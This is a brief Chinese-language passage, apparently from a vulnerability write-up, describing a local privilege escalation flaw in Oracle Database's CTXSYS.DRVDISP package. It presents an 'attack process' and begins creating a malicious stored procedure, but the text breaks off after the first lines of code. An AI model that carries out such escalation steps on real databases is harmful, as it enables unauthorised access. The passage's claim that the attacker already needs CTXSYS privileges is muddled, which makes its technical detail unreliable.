Oracle数据库本地权限提升漏洞：CTXSYS.DRVDISP

简介：
Oracle数据库是一种广泛使用的关系型数据库管理系统。然而，它也可能存在一些安全漏洞。其中之一是CTXSYS.DRVDISP本地权限提升漏洞。该漏洞可能被攻击者利用，以获取比其正常权限更高的权限，从而对数据库进行未经授权的访问和操作。

漏洞描述：
CTXSYS.DRVDISP是Oracle中的一个内部程序包，用于处理文本索引和搜索功能。该程序包中的一个子程序存在安全漏洞，攻击者可以通过利用这个漏洞提升其权限。

攻击过程：
攻击者需要在具有CTXSYS用户权限的Oracle数据库中执行恶意代码来利用该漏洞。攻击者可以通过以下步骤进行攻击：

1. 创建恶意存储过程：

CREATE OR REPLACE PROCEDURE malicious_procedure AS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN